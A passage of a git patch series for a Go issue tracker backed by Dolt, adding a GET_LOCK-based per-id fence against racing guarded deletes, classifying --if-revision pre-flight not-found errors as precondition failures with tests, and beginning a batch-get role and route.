row_lock bump is a genuine +// edit the merge must reconcile against the delete. That asymmetry is the +// bug: every same-token deleter exits 0, and there is no schema cell a +// guarded delete can write to manufacture a real conflict, because the row +// it would write to is the row it is erasing. +// +// A session-scoped GET_LOCK, held on one pinned connection across the whole +// guarded write (acquired before BeginTx, released only after Commit), turns +// that silent double-delete into a queue instead: the loser's transaction +// begins only after the winner's has already committed and is durable, so +// its existence probe inside DeleteInTx finds the row gone and fails through +// the ordinary NotFoundError path instead of silently "succeeding" a second +// time. No schema or migration change is needed — GET_LOCK/RELEASE_LOCK are +// built-in Dolt/MySQL session primitives, already an established repo idiom +// (schema.MigrateUpWithLock). +// +// conn stays pinned for the ENTIRE operation on purpose: GET_LOCK and +// RELEASE_LOCK are session-scoped, not transaction-scoped, so acquiring on +// one connection and running the write on another would not serialize +// anything — a second racer could then acquire the lock and, under +// repeatable-read isolation, still observe the pre-delete row because the +// first racer's delete was not yet durable. Running GET_LOCK, the retried +// write, and RELEASE_LOCK all on one *sql.Conn (via withRetryTxOn) is the +// same contract schema.MigrateUpWithLock documents for migrations. +// +// This also means withDeleteFence must never be called when the store's pool +// could be sized to a single connection (see dolt_test.go's setupTestStore, +// which pins MaxOpenConns to 1 because DOLT_CHECKOUT is session-level): a +// second, pool-sourced connection for the write would then never be +// grantable while this fence holds the only one. Pinning ONE connection for +// both the lock and the write (rather than a lock connection plus a +// pool-sourced write connection) avoids that deadlock by construction — +// the fenced write never needs a second connection at all. +func (s *DoltStore) withDeleteFence(ctx context.Context, id string, fn func(tx *sql.Tx) error) error { + conn, err := s.db.Conn(ctx) + if err != nil { + return fmt.Errorf("delete fence: acquire connection: %w", err) + } + defer conn.Close() + + lockName := deleteFenceLockName(s.database, id) + var locked sql.NullInt64 + if err := conn.QueryRowContext(ctx, "SELECT GET_LOCK(?, ?)", lockName, deleteFenceLockTimeoutSeconds).Scan(&locked); err != nil { + return fmt.Errorf("delete fence: acquire lock: %w: %w", ErrDeleteFenceUnavailable, err) + } + if !locked.Valid || locked.Int64 != 1 { + return fmt.Errorf("delete fence: acquire lock: %w: timed out after %ds", ErrDeleteFenceUnavailable, deleteFenceLockTimeoutSeconds) + } + defer releaseDeleteFenceLock(conn, lockName) + + return s.withRetryTxOn(ctx, conn, fn) +} + +// releaseDeleteFenceLock releases a lock acquired by withDeleteFence from the +// same pinned session, after the guarded write's Commit has returned. It runs +// on its own short-lived context so a caller-canceled ctx cannot strand the +// lock held past this call. +// +// An unexpected result discards the physical connection (same defensive +// pattern as schema's discardConn) rather than returning it to the pool: the +// lock's true state on that session is now unknown, and handing it to +// another caller could let a future guarded delete believe it holds the +// fence when it does not. +func releaseDeleteFenceLock(conn *sql.Conn, lockName string) { + cleanupCtx, cancel := context.WithTimeout(context.Background(), deleteFenceReleaseTimeout) + defer cancel() + + var released sql.NullInt64 + err := conn.QueryRowContext(cleanupCtx, "SELECT RELEASE_LOCK(?)", lockName).Scan(&released) + if err != nil || !released.Valid || released.Int64 != 1 { + _ = conn.Raw(func(driverConn any) error { + return driver.ErrBadConn + }) + } +} diff --git a/internal/storage/dolt/deleter.go b/internal/storage/dolt/deleter.go index 9aa079497..59cbd811b 100644 --- a/internal/storage/dolt/deleter.go +++ b/internal/storage/dolt/deleter.go @@ -69,7 +69,11 @@ func (s *deleter) Delete(ctx context.Context, req issueops.DeleteRequest) (issue return result, nil } - if err := s.store.withWriteTx(ctx, func(tx *sql.Tx) error { + write := func(tx *sql.Tx) error { + // withRetryTx/withDeleteFence may replay this body on a serialization + // failure: reset so a rolled-back attempt's result never leaks into + // the value returned below (the withRetryTx closure contract). + result = issueops.DeleteResult{} if err := run(tx); err != nil { return err } @@ -88,7 +92,7 @@ func (s *deleter) Delete(ctx context.Context, req issueops.DeleteRequest) (issue // writes them: RewriteDeletedReferencesInTx updates every surviving // neighbor through UpdateIssueInTx, the seam's minting entry point, and // this transaction is scoped for minting because commitWriteTx scopes - // the transaction withWriteTx hands to the body above. Staging the + // the transaction withRetryTx hands to the body above. Staging the // fixed list alone would leave those rows in the working set, outside // the commit that describes them — the exact loss withVersionedHistoryTables // exists to prevent, and for store_epoch the unrecoverable kind (see the @@ -102,7 +106,26 @@ func (s *deleter) Delete(ctx context.Context, req issueops.DeleteRequest) (issue return fmt.Errorf("dolt commit: %w", err) } return nil - }); err != nil { + } + + // A guarded (ExpectedVersion-checked) delete on a real Dolt sql-server + // additionally runs under the per-id delete fence (mc-zndi7.73): without + // it, two same-token deletes race to identical "row absent" diffs that + // Dolt's commit-time merge lands with no conflict, so every racer exits + // 0. Embedded Dolt has no concurrent sql-server sessions to race this + // way, and Postgres's own serializable isolation already turns an + // identical concurrent delete into a real conflict, so the fence is + // scoped to serverMode only. See withDeleteFence's doc for the full + // design and why one pinned connection, rather than a pool-sourced one, + // is required. + if req.ExpectedVersion != nil && s.store.serverMode { + if err := s.store.withDeleteFence(ctx, req.IDs[0], write); err != nil { + return issueops.DeleteResult{}, err + } + return result, nil + } + + if err := s.store.withRetryTx(ctx, write); err != nil { return issueops.DeleteResult{}, err } return result, nil diff --git a/internal/storage/dolt/store.go b/internal/storage/dolt/store.go index c05633734..0ee4434e4 100644 --- a/internal/storage/dolt/store.go +++ b/internal/storage/dolt/store.go @@ -1189,6 +1189,16 @@ func (s *DoltStore) withReadTxLongTimeout(ctx context.Context, fn func(tx *sql.T // logic (verify passes, hooks, return values). See ready_claimer.ClaimNext's // `claimed = nil` reset for the canonical example. func (s *DoltStore) withRetryTx(ctx context.Context, fn func(tx *sql.Tx) error) error { + return s.withRetryTxOn(ctx, s.db, fn) +} + +// withRetryTxOn is withRetryTx against a caller-chosen txBeginner instead of +// the shared pool, so a caller that must hold a session-scoped resource (e.g. +// a GET_LOCK) across the whole retried write can pin one *sql.Conn for it — +// see withDeleteFence. Every retried attempt replays on that SAME connection, +// which is required: txBeginner's one other implementer, *sql.Conn, is itself +// the pinned session, there is no pool to hand back a different one. +func (s *DoltStore) withRetryTxOn(ctx context.Context, beginner txBeginner, fn func(tx *sql.Tx) error) error { // Keep circuit admission at the transaction retry boundary. Calling // withRetry from here would multiply retries and could replay a write after // an indeterminate commit. @@ -1206,7 +1216,7 @@ func (s *DoltStore) withRetryTx(ctx context.Context, fn func(tx *sql.Tx) error) var pending issueops.BlockedRecheck if err := backoff.Retry(func() error { var err error - pending, err = s.commitWriteTx(ctx, fn) + pending, err = s.commitWriteTxOn(ctx, beginner, fn) if err == nil { if !circuitWriteManaged(ctx) && s.breaker != nil { s.breaker.RecordSuccess() @@ -1270,10 +1280,16 @@ func (s *DoltStore) withWriteTx(ctx context.Context, fn func(tx *sql.Tx) error) // recheck. The caller runs that recheck outside any retry loop around fn: a // recheck failure must never replay a write that has already landed. func (s *DoltStore) commitWriteTx(ctx context.Context, fn func(tx *sql.Tx) error) (issueops.BlockedRecheck, error) { + return s.commitWriteTxOn(ctx, s.db, fn) +} + +// commitWriteTxOn is commitWriteTx against a caller-chosen txBeginner — see +// withRetryTxOn. +func (s *DoltStore) commitWriteTxOn(ctx context.Context, beginner txBeginner, fn func(tx *sql.Tx) error) (issueops.BlockedRecheck, error) { if s.closed.Load() { return issueops.BlockedRecheck{}, ErrStoreClosed } - tx, err := s.db.BeginTx(ctx, nil) + tx, err := beginner.BeginTx(ctx, nil) if err != nil { return issueops.BlockedRecheck{}, fmt.Errorf("begin write tx: %w", err) } @@ -5238,7 +5254,11 @@ func (s *DoltStore) recomputeAllBlocked(ctx context.Context) (int, error) { // txBeginner is satisfied by both *sql.DB and *sql.Conn, letting // recomputeAllBlockedWithDB run either against a caller-owned pinned -// *sql.Conn (recomputeAllBlocked) or directly against a *sql.DB (tests). +// *sql.Conn (recomputeAllBlocked) or directly against a *sql.DB (tests). Also +// used by withRetryTxOn/commitWriteTxOn to run the shared retry-and-commit +// body against either the pool (the common case) or one pinned connection +// (withDeleteFence, which must hold a GET_LOCK session across the whole +// retried write). type txBeginner interface { BeginTx(ctx context.Context, opts *sql.TxOptions) (*sql.Tx, error) } diff --git a/internal/storage/dolt/version_scope_completeness_test.go b/internal/storage/dolt/version_scope_completeness_test.go index 908c9ed4a..56ef883f0 100644 --- a/internal/storage/dolt/version_scope_completeness_test.go +++ b/internal/storage/dolt/version_scope_completeness_test.go @@ -148,8 +148,15 @@ func TestEveryRawTxVersionScopeIsScopedOrExempt(t *testing.T) { // this second arm exists rather than being folded into the first. var txMintingWrappers = []string{ "DoltStore.runDoltTransactionRecording", - // withWriteTx and withRetryTx delegate transaction creation and scoping here. - "DoltStore.commitWriteTx", + // withWriteTx and withRetryTx delegate transaction creation and scoping to + // commitWriteTx, which itself only delegates to commitWriteTxOn(ctx, s.db, + // fn) — the mc-zndi7.73 delete-fence split moved the actual BeginTx call + // (and the scope calls beside it) down into commitWriteTxOn so a caller + // holding a session-scoped resource (withDeleteFence's GET_LOCK'd + // *sql.Conn) could mint the retried transaction on THAT connection + // instead of the pool. commitWriteTxOn is therefore the real tx-minting + // wrapper now; list it, not its thin commitWriteTx delegate. + "DoltStore.commitWriteTxOn", } // TestTxMintingWrappersScopeVersionedHistory covers the half diff --git a/internal/storage/uow/BUILD.bazel b/internal/storage/uow/BUILD.bazel index e181e1fcc..2462bb32f 100644 --- a/internal/storage/uow/BUILD.bazel +++ b/internal/storage/uow/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "commenter.go", "counter.go", "cycle_detector.go", + "delete_fence.go", "deleter.go", "dependency_editor.go", "dolt_sql_provider.go", diff --git a/internal/storage/uow/delete_fence.go b/internal/storage/uow/delete_fence.go new file mode 100644 index 000000000..e880feae7 --- /dev/null +++ b/internal/storage/uow/delete_fence.go @@ -0,0 +1,151 @@ +package uow + +import ( + "context" + "database/sql" + "database/sql/driver" + "errors" + "fmt" + "hash/fnv" + "time" +) + +const ( + // deleteFenceLockPrefix namespaces this fence within Dolt/MySQL's + // GET_LOCK name space, which is server-wide rather than per-database + // (mirrors internal/storage/dolt's deleteFenceLockPrefix and + // schema.MigrationLockName's bd_schema_init: prefix, same reason): two + // beads databases sharing one Dolt sql-server must not collide on the + // same issue id. + deleteFenceLockPrefix = "bd_delete:" + // deleteFenceLockNameMaxLength mirrors MySQL/Dolt's 64-byte GET_LOCK name limit. + deleteFenceLockNameMaxLength = 64 + // deleteFenceLockTimeoutSeconds bounds how long a guarded delete waits to + // enter the fence. It must comfortably exceed RunTxResult's own + // DefaultTxRetryMaxElapsed (15s): a racer waiting its turn can be queued + // behind another racer that is itself retrying a serialization failure + // for up to that long. + deleteFenceLockTimeoutSeconds = 20 + // deleteFenceReleaseTimeout bounds the RELEASE_LOCK call, run on its own + // context so a caller-canceled ctx cannot strand the lock held. + deleteFenceReleaseTimeout = 5 * time.Second +) + +// ErrDeleteFenceUnavailable marks a transient failure to acquire the per-row +// delete fence lock (timeout or connection error), distinct from a version +// mismatch: it means this guarded delete never got a chance to check the +// row's version at all. +var ErrDeleteFenceUnavailable = errors.New("delete fence lock unavailable") + +// deleteFenceLockName returns a Dolt/MySQL named-lock key within the 64-byte +// limit, hashing down to fnv64a when the readable form would not fit — +// mirrors internal/storage/dolt's deleteFenceLockName (and, one level further +// back, schema.MigrationLockName). +func deleteFenceLockName(databaseName, id string) string { + raw := deleteFenceLockPrefix + databaseName + ":" + id + if len(raw) <= deleteFenceLockNameMaxLength { + return raw + } + h := fnv.New64a() + _, _ = h.Write([]byte(databaseName + ":" + id)) + return fmt.Sprintf("%s%016x", deleteFenceLockPrefix, h.Sum64()) +} + +// withDeleteFence serializes guarded (ExpectedVersion-checked) deletes for a +// single id against each other on a Dolt sql-server, the proxied-mode / +// bd-serve twin of internal/storage/dolt's (*DoltStore).withDeleteFence +// (mc-zndi7.73). +// +// Dolt's commit-time merge treats two concurrent transactions that each +// delete the same row as identical diffs ("row absent") and lands BOTH with +// no conflict — unlike a concurrent update/close racing the same delete, +// which already collides for real because its row_lock bump is a genuine +// edit the merge must reconcile against the delete. That asymmetry is the +// bug: every same-token deleter exits 0, and there is no schema cell a +// guarded delete can write to manufacture a real conflict, because the row +// it would write to is the row it is erasing. +// +// A session-scoped GET_LOCK, acquired before fn runs and released only after +// fn returns, turns that silent double-delete into a queue instead: the +// loser's unit of work begins only after the winner's has already committed +// and is durable, so its existence probe inside deleteInUOW finds the row +// gone and fails through the ordinary NotFoundError path instead of silently +// "succeeding" a second time. No schema or migration change is needed — +// GET_LOCK/RELEASE_LOCK are built-in Dolt/MySQL session primitives, already +// an established repo idiom (schema.MigrateUpWithLock, +// internal/storage/dolt's own delete fence). +// +// UNLIKE internal/storage/dolt's fence, the lock connection here is NOT the +// connection fn's write runs on: fn is left free to call RunTxResult, which +// draws its own (possibly several, across retries) connection from p.db the +// ordinary way. That is safe for exactly the reason the dolt-package fence's +// doc calls out as the hazard to avoid there: THIS provider's pool is never +// constrained to a single connection (no cmd/bd call site ever calls +// SetPoolLimits on the proxied-server or bd-serve UOW chain — see pool.go), +// so a dedicated lock connection can never starve the write of its own +// connection. What matters for correctness is not which physical connection +// runs the write but WHEN its transaction begins: fn (and therefore every +// snapshot it establishes, across every retry) starts only after GET_LOCK has +// already returned success, so a queued loser's first read can only ever +// observe the winner's commit as already landed and durable. +func withDeleteFence(ctx context.Context, p *doltSQLProvider, id string, fn func() error) error { + conn, err := p.db.Conn(ctx) + if err != nil { + return fmt.Errorf("delete fence: acquire connection: %w", err) + } + defer func() { _ = conn.Close() }() + + dbName, err := currentDatabaseName(ctx, conn) + if err != nil { + return fmt.Errorf("delete fence: %w", err) + } + + lockName := deleteFenceLockName(dbName, id) + var locked sql.NullInt64 + if err := conn.QueryRowContext(ctx, "SELECT GET_LOCK(?, ?)", lockName, deleteFenceLockTimeoutSeconds).Scan(&locked); err != nil { + return fmt.Errorf("delete fence: acquire lock: %w: %w", ErrDeleteFenceUnavailable, err) + } + if !locked.Valid || locked.Int64 != 1 { + return fmt.Errorf("delete fence: acquire lock: %w: timed out after %ds", ErrDeleteFenceUnavailable, deleteFenceLockTimeoutSeconds) + } + defer releaseDeleteFenceLock(conn, lockName) + + return fn() +} + +// currentDatabaseName reads the database conn's session is attached to. +// doltSQLProvider carries no database field of its own (the name lives only +// in the DSN each pool connection was opened with), and every connection +// drawn from p.db is already attached to it — buildDSN always includes the +// database component — so SELECT DATABASE() reliably reports the same name +// internal/storage/dolt's fence reads from its store's own field. +func currentDatabaseName(ctx context.Context, conn *sql.Conn) (string, error) { + var name sql.NullString + if err := conn.QueryRowContext(ctx, "SELECT DATABASE()").Scan(&name); err != nil { + return "", fmt.Errorf("select database(): %w", err) + } + return name.String, nil +} + +// releaseDeleteFenceLock releases a lock acquired by withDeleteFence from the +// same session, after fn has returned. It runs on its own short-lived context +// so a caller-canceled ctx cannot strand the lock held past this call. +// +// An unexpected result discards the physical connection (same defensive +// pattern internal/storage/dolt's releaseDeleteFenceLock and schema's +// discardConn use) rather than returning it to the pool: the lock's true +// state on that session is now unknown, and handing it to another caller +// could let a future guarded delete believe it holds the fence when it does +// not. +func releaseDeleteFenceLock(conn *sql.Conn, lockName string) { + cleanupCtx, cancel := context.WithTimeout(context.Background(), deleteFenceReleaseTimeout) + defer cancel() + + var released sql.NullInt64 + err := conn.QueryRowContext(cleanupCtx, "SELECT RELEASE_LOCK(?)", lockName).Scan(&released) + if err != nil || !released.Valid || released.Int64 != 1 { + _ = conn.Raw(func(driverConn any) error { + return driver.ErrBadConn + }) + } +} diff --git a/internal/storage/uow/deleter.go b/internal/storage/uow/deleter.go index f1acaf985..11358aceb 100644 --- a/internal/storage/uow/deleter.go +++ b/internal/storage/uow/deleter.go @@ -64,16 +64,51 @@ func (d *deleter) Delete(ctx context.Context, req publicops.DeleteRequest) (publ return deleteInUOW(ctx, uw, req) }) } - return RunTxResult(ctx, d.provider, func(ctx context.Context, uw UnitOfWork) (publicops.DeleteResult, string, error) { - result, err := deleteInUOW(ctx, uw, req) - if err != nil || result.Deleted == 0 { - // A deletion that removed nothing labels nothing: the role - // promises at most one history entry per call and none for a - // no-op. - return result, "", err + + write := func(ctx context.Context) (publicops.DeleteResult, error) { + return RunTxResult(ctx, d.provider, func(ctx context.Context, uw UnitOfWork) (publicops.DeleteResult, string, error) { + result, err := deleteInUOW(ctx, uw, req) + if err != nil || result.Deleted == 0 { + // A deletion that removed nothing labels nothing: the role + // promises at most one history entry per call and none for a + // no-op. + return result, "", err + } + return result, fmt.Sprintf("bd: delete %d issue(s)", result.Deleted), nil + }) + } + + // A guarded (ExpectedVersion-checked) delete additionally runs under the + // per-id delete fence (mc-zndi7.73): without it, two same-token deletes + // race to identical "row absent" diffs that Dolt's commit-time merge + // lands with no conflict, so every racer exits 0 — see withDeleteFence's + // doc for the full design. Every doltSQLProvider here IS a real Dolt + // sql-server session (proxied mode or bd serve; there is no embedded + // backend in this package), so unlike internal/storage/dolt's fence + // (scoped to serverMode only) this one applies whenever a guard is + // present, with no mode check. + // + // d.provider is unwrapped first because the real chain + // (wireProxiedUOWProvider) wraps the bare *doltSQLProvider in a + // notifyingProvider and then an externaldeps uowProvider — both of which + // pass THEMSELVES, not the inner provider, to NewDeleter, so d.provider + // is a decorator here in every real deployment, never the bare provider. + if req.ExpectedVersion != nil { + if sp, ok := UnwrapProvider(d.provider).(*doltSQLProvider); ok { + var result publicops.DeleteResult + err := withDeleteFence(ctx, sp, req.IDs[0], func() error { + var ferr error + result, ferr = write(ctx) + return ferr + }) + if err != nil { + return publicops.DeleteResult{}, err + } + return result, nil } - return result, fmt.Sprintf("bd: delete %d issue(s)", result.Deleted), nil - }) + } + + return write(ctx) } // deleteInUOW is the whole deletion on one unit of work, shared by the preview From 0b1e9657ce3e64c46ebd926e1ce79b7ff138d92a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 11:20:24 -0700 Subject: [PATCH 108/325] fix(cmd/bd): classify delete's pre-flight not-found as precondition_failed (#7256) bd delete's single-id path resolves the row with resolveAndGetIssueForMutation BEFORE calling deleter.Delete() and the per-id lock fence #7244 added. On a real Dolt sql-server, a same-token --if-revision racer that loses that fence can find the row already gone at that pre-flight check, which returned an unclassified exit 1 ("issue %s not found") instead of routing through classifyIfRevisionFailure/reportIfRevisionFailure like every other --if-revision loser. This is why TestSharedServerDeleteIfRevisionSingleWinner/same_token is flaky. classifyIfRevisionFailure already had a storage.ErrNotFound branch anticipating exactly this gap (mc-zndi7.73); delete.go's pre-flight check just needed to call it when --if-revision is set, reporting precondition_failed / ExitGuardMismatch (13) instead of a bare "not found". Checked the proxied delete path (delete_proxied_server.go): it has no separate pre-flight check and already routes deleter.Delete()'s error through reportIfRevisionFailure, so no gap there. Adds: - TestClassifyIfRevisionFailureNotFoundSentinel: unit test pinning classifyIfRevisionFailure/reportIfRevisionFailure's handling of the bare storage.ErrNotFound sentinel. - TestIfRevisionDeletePreflightGoneIsPreconditionFailed: embedded CLI test that deterministically reproduces the same pre-flight code path a losing racer hits (delete the row out from under a stale --if-revision token), without depending on actual concurrency. Fixes mc-zndi7.81. Co-authored-by: Claude Sonnet 5 --- cmd/bd/delete.go | 19 +++++++++++ cmd/bd/if_revision_embedded_test.go | 49 +++++++++++++++++++++++++++++ cmd/bd/if_revision_test.go | 34 ++++++++++++++++++++ 3 files changed, 102 insertions(+) diff --git a/cmd/bd/delete.go b/cmd/bd/delete.go index 525125cbf..d48de774a 100644 --- a/cmd/bd/delete.go +++ b/cmd/bd/delete.go @@ -126,6 +126,25 @@ Force: Delete and orphan dependents routedResult, err := resolveAndGetIssueForMutation(ctx, store, issueID) if err != nil { if isNotFoundErr(err) { + // mc-zndi7.81: this pre-flight existence check runs before + // deleter.Delete() and the per-id lock fence #7244 added, so a + // same-token --if-revision racer that loses the fence sees the + // row disappear right here instead of inside the guarded + // write below. That is the same outcome classifyIfRevisionFailure + // already gives storage.ErrNotFound (mc-zndi7.73's comment on + // that case anticipated exactly this gap): the exact revision + // the caller named is gone, so report precondition_failed/ + // ExitGuardMismatch like every other loser, not an unclassified + // exit 1. Passing the literal sentinel rather than err itself + // because classifyIfRevisionFailure matches via errors.Is, and + // this package's own isNotFoundErr also accepts + // ResolvePartialID's unwrapped "no issue found matching" text, + // which errors.Is would not recognize. + if ifRevision != nil { + if reported, ok := reportIfRevisionFailure("deleting", issueID, storage.ErrNotFound, ifRevision); ok { + return reported + } + } return HandleError("issue %s not found", issueID) } return HandleError("%v", err) diff --git a/cmd/bd/if_revision_embedded_test.go b/cmd/bd/if_revision_embedded_test.go index afb90e866..eab6138fa 100644 --- a/cmd/bd/if_revision_embedded_test.go +++ b/cmd/bd/if_revision_embedded_test.go @@ -196,6 +196,55 @@ func TestIfRevisionMatchAndMismatch(t *testing.T) { }) } +// TestIfRevisionDeletePreflightGoneIsPreconditionFailed pins mc-zndi7.81: `bd +// delete`'s single-id path resolves the row with resolveAndGetIssueForMutation +// BEFORE calling deleter.Delete() and the per-id lock fence #7244 added. On a +// real Dolt sql-server, a same-token --if-revision racer that loses that fence +// finds the row already gone right there +// (TestSharedServerDeleteIfRevisionSingleWinner/same_token, which this test +// cannot reach without a container) and, pre-fix, exited 1 with an +// unclassified "not found" instead of the ExitGuardMismatch (13) +// precondition_failed every other --if-revision loser gets. This +// reproduces the SAME code path deterministically, without a race or a real +// Dolt server: delete the row out from under a --if-revision token first (an +// ordinary, unguarded delete lands the row-gone precondition exactly as a +// winning racer's delete would), then present that now-stale token. The +// pre-flight existence check must fail exactly the same way a mid-guard +// version mismatch does. +func TestIfRevisionDeletePreflightGoneIsPreconditionFailed(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt integration tests") + } + t.Parallel() + + bd := buildEmbeddedBD(t) + dir, _, _ := bdInit(t, bd, "--prefix", "pg") + + issue := bdCreate(t, bd, dir, "Preflight gone", "--type", "task") + rev0 := bdShowRevision(t, bd, dir, issue.ID) + + // Stand in for the winning racer: an ordinary delete removes the row out + // from under rev0 without ever consulting it. + bdDelete(t, bd, dir, issue.ID, "--force") + bdShowFail(t, bd, dir, issue.ID) + + // The loser's --if-revision now names a row that is not merely stale but + // entirely gone. Must classify exactly like a mid-guard version mismatch: + // ExitGuardMismatch (13), "precondition failed" -- never the bare, + // unclassified "not found" exit 1 the direct-store pre-flight check would + // otherwise return on its own. + out, code := bdRunFailCode(t, bd, dir, "delete", issue.ID, "--if-revision", revStr(rev0), "--force") + if code != ExitGuardMismatch { + t.Errorf("preflight-gone --if-revision delete exit code = %d, want %d\n%s", code, ExitGuardMismatch, out) + } + if !strings.Contains(out, "precondition failed") { + t.Errorf("preflight-gone delete should say \"precondition failed\", got:\n%s", out) + } + if strings.Contains(out, "not found") { + t.Errorf("preflight-gone delete leaked the raw, unclassified \"not found\" error instead of the guard envelope:\n%s", out) + } +} + // TestIfRevisionCascadeDelete pins mc-zndi7.76 (gap 4): a single named id with // --cascade takes the SAME deleteBatch path a multi-id delete does // (cmd/bd/delete.go:105, "len(issueIDs) > 1 || cascade"), which is the only diff --git a/cmd/bd/if_revision_test.go b/cmd/bd/if_revision_test.go index 120c65e5c..9722307da 100644 --- a/cmd/bd/if_revision_test.go +++ b/cmd/bd/if_revision_test.go @@ -252,6 +252,40 @@ func TestClassifyIfRevisionFailureBareVersionMismatchSentinel(t *testing.T) { } } +// TestClassifyIfRevisionFailureNotFoundSentinel pins mc-zndi7.81: a pre-flight +// existence check that fails with the bare storage.ErrNotFound sentinel -- +// e.g. cmd/bd/delete.go's resolveAndGetIssueForMutation call, which runs +// before deleter.Delete() and the per-id lock fence #7244 added, so a +// same-token --if-revision racer that loses that fence can find the row +// already gone right there -- must classify exactly like a mid-guard version +// mismatch: "precondition_failed" / ExitGuardMismatch, falling back to the +// caller's own --if-revision value for expected_revision and omitting +// current_revision (the row is gone; there is nothing left to report). +// Without this, that pre-flight path surfaces an unclassified, uncoded exit 1 +// instead of joining every other --if-revision loser at exit 13. +func TestClassifyIfRevisionFailureNotFoundSentinel(t *testing.T) { + ifRevision := int64(7) + code, _, expected, current, ok := classifyIfRevisionFailure(storage.ErrNotFound, &ifRevision) + if !ok || code != ifRevisionCodePreconditionFailed { + t.Fatalf("classifyIfRevisionFailure(ErrNotFound) = %q, %v, want %q, true", code, ok, ifRevisionCodePreconditionFailed) + } + if expected == nil || *expected != ifRevision { + t.Errorf("expected_revision = %v, want &%d (the caller's --if-revision value)", expected, ifRevision) + } + if current != nil { + t.Errorf("current_revision = %v, want nil (the row is gone; nothing to report)", current) + } + + reported, ok := reportIfRevisionFailure("deleting", "bd-6", storage.ErrNotFound, &ifRevision) + if !ok { + t.Fatalf("reportIfRevisionFailure did not recognize storage.ErrNotFound as a guard outcome") + } + ee, isExitErr := reported.(*exitError) + if !isExitErr || ee.Code != ExitGuardMismatch { + t.Fatalf("reported error = %#v, want *exitError{Code: %d}", reported, ExitGuardMismatch) + } +} + // TestClassifyIfRevisionFailureTypedBeforeSentinel pins ordering: a typed // *issueops.VersionMismatchError (which also satisfies errors.Is against the // same ErrVersionMismatch sentinel via Unwrap) must still report its OWN From dbaa4631ca1059d0a178743d8915ad5e43964c0d Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 12:09:18 -0700 Subject: [PATCH 109/325] feat(roles): BatchGetter role and POST issues:batchGet (#7248) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat(roles): BatchGetter role and issues:batchGet route (S7) Adds BatchGetter.GetMany(ids) -> {Issues, Missing}, a one-snapshot, order-preserving, deduped, 1000-id-capped batch read, wired through all three library legs (dolt, embedded dolt, uow) behind the existing hook/telemetry decorator chain, plus the POST /v0/beads/issues:batchGet HTTP route (spec, apigen, wire-shape golden, issues.batchGet capability token). Conformance contract (RunBatchGetter*, 12 cases) passes on all three legs against real backends. No HTTP client leg yet (waits on the generator / PR #7247); left as a documented seam on BatchGetter's doc comment. CLI GetIssuesByIDs call sites are left unmigrated this slice and marked with TODO(batchgetter) comments: every call site reads an unbounded id list today, and GetMany's 1000-id cap has no chunking/fallback in any caller yet, so swapping them in now would add a new, unhandled failure mode to already-shipped CLI paths (export, import, molecule port, ready-explain, wisp sweep). Verified via three live-mutate guards against internal/storage/issueops/batchget.go (disabling the cap check, dropping the Missing append, and replacing ordered iteration with map iteration): each turns the embedded-dolt contract red, confirming the cap, Missing reporting, and order-preservation assertions actually catch a break. Co-Authored-By: Claude Sonnet 5 * fix(roles): close S7 review gaps — revision on wire, BUILD sync, handler tests Addresses the S7 Opus review's FIX-FIRST items on BatchGetter/issues:batchGet: HIGH - batchGetResponse now projects apigen.BatchGetIssue (types.BatchGetIssue + NewBatchGetIssue), carrying `revision` per issue the way IssueDetails does; spec, apigen and the wire-shape golden regenerated (additive, no wire_revision bump). - make bazel-sync: the 12 files missing from BUILD.bazel srcs are back in sync across 9 BUILD.bazel files. - New internal/httpapi/batch_get_test.go: success incl. revision, missing ids, empty arrays not null, unknown member refused, missing/null ids refused, query parameter refused, 1001 ids refused with the full request reaching the role, 1000 ids accepted. MED - RunBatchGetterAcceptsExactlyTheCap pins the cap boundary (> vs >=). - RunBatchGetterHydratesLabels pins Labels survive projection. - RunBatchGetterReadsOneSnapshot renamed to RunBatchGetterSharesOneReadStructurally with a doc that no longer overclaims atomicity; a real interleaving test needs a hook on the frozen roleFixtureKit, out of scope here. - Doc comments across ExecuteGetMany, GetManyResult.Issues and the BatchGetter interface now say hydration is labels only. LOW - failBatchGetErr's doc no longer claims blank entries are "already caught". - PR #7247 references kept. Re-ran build/vet/gofmt/lint, make api-check, make bazel-sync(-check), the full internal/httpapi suite, and all three conformance legs (dolt via the pinned local server, embeddeddolt, uow) plus targeted cmd/bd serve tests — all green. Live-mutate-guard reverified: cap >=, dropping Missing from the response, and clearing Labels each now fail the relevant test. Co-Authored-By: Claude Sonnet 5 * fix(roles): sync client vocabulary and repo gates with issues:batchGet The S7 route landed on the server without the sibling tables that hold the rest of the tree set-equal with the server's surface, so five tests and two manifest gates went red on the PR head: - httpclient/wire: mirror batchGetIssues into the client vocabulary, CLASSIFIED, not wired, the way the wire wave and #7250's issues.count.scope landed: OpBatchGetIssues, its issues.batchGet token on opCapability, its identity row, and the first-slice skew dimension 35 -> 36 (TestCapabilityTableMatchesTheServerRouteTable). - httpclient/wire: BatchGetIssue is the first golden.json schema with a `revision` member that needs no legacy-integer tolerance — the route postdates #6053 and types.BatchGetIssue declares Revision a string, and a pre-#6053 server never advertises issues.batchGet, so Preflight refuses before any body is decoded. Exempt it with that reason in a new revisionSchemaExempt table rather than adding an issues[] rewrite no legacy server can reach; the gate refuses an entry that is both covered and exempt, a stale exemption, and an empty reason. - httpclient/encode: give the oracle's role set a BatchGetter stub — httpapi.Listen requires the whole set, so all three oracle tests failed to bind. - storage/uow: exempt IssueUseCase.GetMany from the notifying-parity partition as a read, the reason hook_batch_getter.go gives. - shard manifest: place TestBatchGetterContract in the 15-shard embedded storage block (generator --write, incremental). Co-Authored-By: Claude Opus 5.5 * test(roles): pin the BatchGetter pure tier and the spec ids caps Review fixes, iteration 1. The review approved with no blocker or major finding and three minors, and this commit takes all three. It changes tests and one comment only, and every new assertion was mutation-probed with go test -overlay. - storage/issueops: add batchget_test.go, the database-free tier that FinishGetMany's doc already claimed ("pinned without a database") but that no test supplied. It pins: - the cap is checked before the blank scan (an over-cap request with a blank at position 0 answers *TooManyIDsError); - the bound is inclusive; - dedupe keeps the first mention, does not trim, and never writes through the caller's slice; - Issues and Missing both follow request order; - both slices are never nil; - ExecuteGetMany refuses one id repeated past the cap before any query (a sqlmock with no expectations). Ten mutants were each killed by exactly their intended test, with the rest of the package 